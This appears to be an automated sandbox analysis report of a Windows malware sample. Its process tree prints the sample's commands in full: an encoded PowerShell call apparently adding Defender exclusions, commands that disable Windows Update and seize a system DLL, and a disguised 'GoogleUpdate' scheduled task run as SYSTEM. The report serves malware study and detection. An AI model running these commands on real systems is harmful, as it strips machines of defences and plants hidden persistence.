Analysis

  • max time kernel
    20s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    03-08-2022 22:15

General

  • Target

    1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe

  • Size

    7.1MB

  • MD5

    322cf2f6a67420e4eb53f29263a639ba

  • SHA1

    bc91f56c260ff4484f7fb0d33a3d351d3d812781

  • SHA256

    1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025

  • SHA512

    3e58b83f26950059901ad1cbb20a06351b7a815d17a3e65a0a84061b7d0d9af588a2685786c28642b1bb76575c81b272d10a1b1dede515b643b27ea52deadcc7

Malware Config

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Possible privilege escalation attempt 2 IoCs
  • Stops running service(s) 3 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Modifies file permissions 1 TTPs 2 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry key 1 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe
    "C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\1e124bfe454512671d65f854c0ccf3ae92b73ae084050db439e709ac63129025.exe"
      2⤵
      • Drops file in Drivers directory
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAdAB2ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBhAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbgBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGIAZwBuACMAPgA="
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1732
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1396
        • C:\Windows\system32\powercfg.exe
          powercfg /x -standby-timeout-ac 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:432
        • C:\Windows\system32\powercfg.exe
          powercfg /x -standby-timeout-dc 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1932
        • C:\Windows\system32\powercfg.exe
          powercfg /x -hibernate-timeout-dc 0
          4⤵
            PID:628
          • C:\Windows\system32\powercfg.exe
            powercfg /x -hibernate-timeout-ac 0
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1696
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:520
          • C:\Windows\system32\reg.exe
            reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
            4⤵
            • Modifies registry key
            PID:1640
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
            4⤵
              PID:1524
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
              4⤵
                PID:1868
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
                4⤵
                  PID:316
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
                  4⤵
                    PID:1828
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
                    4⤵
                      PID:680
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
                      4⤵
                        PID:760
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:628
                      • C:\Windows\system32\reg.exe
                        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
                        4⤵
                        • Modifies registry key
                        PID:1672
                      • C:\Windows\system32\reg.exe
                        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                        4⤵
                        • Modifies registry key
                        PID:1160
                      • C:\Windows\system32\reg.exe
                        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
                        4⤵
                        • Modifies registry key
                        PID:848
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
                      3⤵
                        PID:936
                        • C:\Windows\system32\schtasks.exe
                          schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
                          4⤵
                          • Creates scheduled task(s)
                          PID:1464
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
                        3⤵
                          PID:1712
                          • C:\Windows\system32\schtasks.exe
                            schtasks /run /tn "GoogleUpdateTaskMachineQC"
                            4⤵
                              PID:1252
                      • C:\Windows\system32\sc.exe
                        sc stop UsoSvc
                        1⤵
                        • Launches sc.exe
                        PID:1572
                      • C:\Windows\system32\sc.exe
                        sc stop wuauserv
                        1⤵
                        • Launches sc.exe
                        PID:1864
                      • C:\Windows\system32\sc.exe
                        sc stop bits
                        1⤵
                        • Launches sc.exe
                        PID:468
                      • C:\Windows\system32\sc.exe
                        sc stop dosvc
                        1⤵
                        • Launches sc.exe
                        PID:2016
                      • C:\Windows\system32\reg.exe
                        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
                        1⤵
                        • Modifies registry key
                        PID:276
                      • C:\Windows\system32\reg.exe
                        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
                        1⤵
                        • Modifies registry key
                        PID:1944
                      • C:\Windows\system32\reg.exe
                        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
                        1⤵
                        • Modifies registry key
                        PID:1388
                      • C:\Windows\system32\takeown.exe
                        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
                        1⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1632
                      • C:\Windows\system32\icacls.exe
                        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                        1⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:968
                      • C:\Windows\system32\reg.exe
                        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
                        1⤵
                        • Modifies security service
                        • Modifies registry key
                        PID:1108
                      • C:\Windows\system32\reg.exe
                        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
                        1⤵
                        • Modifies registry key
                        PID:1968
                      • C:\Windows\system32\sc.exe
                        sc stop WaaSMedicSvc
                        1⤵
                        • Launches sc.exe
                        PID:1240

                      Network

                      MITRE ATT&CK Matrix ATT&CK v6

                      Execution

                      Scheduled Task

                      1
                      T1053

                      Persistence

                      Modify Existing Service

                      2
                      T1031

                      Scheduled Task

                      1
                      T1053

                      Privilege Escalation

                      Scheduled Task

                      1
                      T1053

                      Defense Evasion

                      Modify Registry

                      2
                      T1112

                      Virtualization/Sandbox Evasion

                      1
                      T1497

                      Impair Defenses

                      1
                      T1562

                      File Permissions Modification

                      1
                      T1222

                      Discovery

                      Query Registry

                      2
                      T1012

                      Virtualization/Sandbox Evasion

                      1
                      T1497

                      System Information Discovery

                      2
                      T1082

                      Impact

                      Service Stop

                      1
                      T1489

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/276-78-0x0000000000000000-mapping.dmp
                      • memory/316-95-0x0000000000000000-mapping.dmp
                      • memory/432-77-0x0000000000000000-mapping.dmp
                      • memory/468-75-0x0000000000000000-mapping.dmp
                      • memory/520-68-0x0000000000000000-mapping.dmp
                      • memory/628-99-0x0000000000000000-mapping.dmp
                      • memory/628-74-0x0000000000000000-mapping.dmp
                      • memory/680-98-0x0000000000000000-mapping.dmp
                      • memory/760-93-0x0000000000000000-mapping.dmp
                      • memory/848-89-0x0000000000000000-mapping.dmp
                      • memory/936-86-0x0000000000000000-mapping.dmp
                      • memory/968-85-0x0000000000000000-mapping.dmp
                      • memory/1108-81-0x0000000000000000-mapping.dmp
                      • memory/1160-90-0x0000000000000000-mapping.dmp
                      • memory/1240-71-0x0000000000000000-mapping.dmp
                      • memory/1252-88-0x0000000000000000-mapping.dmp
                      • memory/1388-83-0x0000000000000000-mapping.dmp
                      • memory/1396-69-0x0000000000000000-mapping.dmp
                      • memory/1524-94-0x0000000000000000-mapping.dmp
                      • memory/1532-59-0x000007FEFBF21000-0x000007FEFBF23000-memory.dmp
                        Filesize

                        8KB

                      • memory/1532-58-0x000000001B9C0000-0x000000001BDDE000-memory.dmp
                        Filesize

                        4.1MB

                      • memory/1532-57-0x00000000000F0000-0x000000000050E000-memory.dmp
                        Filesize

                        4.1MB

                      • memory/1572-70-0x0000000000000000-mapping.dmp
                      • memory/1632-84-0x0000000000000000-mapping.dmp
                      • memory/1640-92-0x0000000000000000-mapping.dmp
                      • memory/1672-91-0x0000000000000000-mapping.dmp
                      • memory/1696-72-0x0000000000000000-mapping.dmp
                      • memory/1712-87-0x0000000000000000-mapping.dmp
                      • memory/1732-65-0x000000001B7A0000-0x000000001BA9F000-memory.dmp
                        Filesize

                        3.0MB

                      • memory/1732-60-0x0000000000000000-mapping.dmp
                      • memory/1732-62-0x000007FEED8B0000-0x000007FEEE2D3000-memory.dmp
                        Filesize

                        10.1MB

                      • memory/1732-63-0x000007FEECD50000-0x000007FEED8AD000-memory.dmp
                        Filesize

                        11.4MB

                      • memory/1732-64-0x0000000002814000-0x0000000002817000-memory.dmp
                        Filesize

                        12KB

                      • memory/1732-66-0x0000000002814000-0x0000000002817000-memory.dmp
                        Filesize

                        12KB

                      • memory/1732-67-0x000000000281B000-0x000000000283A000-memory.dmp
                        Filesize

                        124KB

                      • memory/1828-97-0x0000000000000000-mapping.dmp
                      • memory/1864-73-0x0000000000000000-mapping.dmp
                      • memory/1868-96-0x0000000000000000-mapping.dmp
                      • memory/1932-80-0x0000000000000000-mapping.dmp
                      • memory/1944-82-0x0000000000000000-mapping.dmp
                      • memory/1968-79-0x0000000000000000-mapping.dmp
                      • memory/1984-54-0x0000000000400000-0x000000000106F000-memory.dmp
                        Filesize

                        12.4MB

                      • memory/1984-56-0x00000000776A0000-0x0000000077849000-memory.dmp
                        Filesize

                        1.7MB

                      • memory/1984-55-0x0000000000400000-0x000000000106F000-memory.dmp
                        Filesize

                        12.4MB

                      • memory/2016-76-0x0000000000000000-mapping.dmp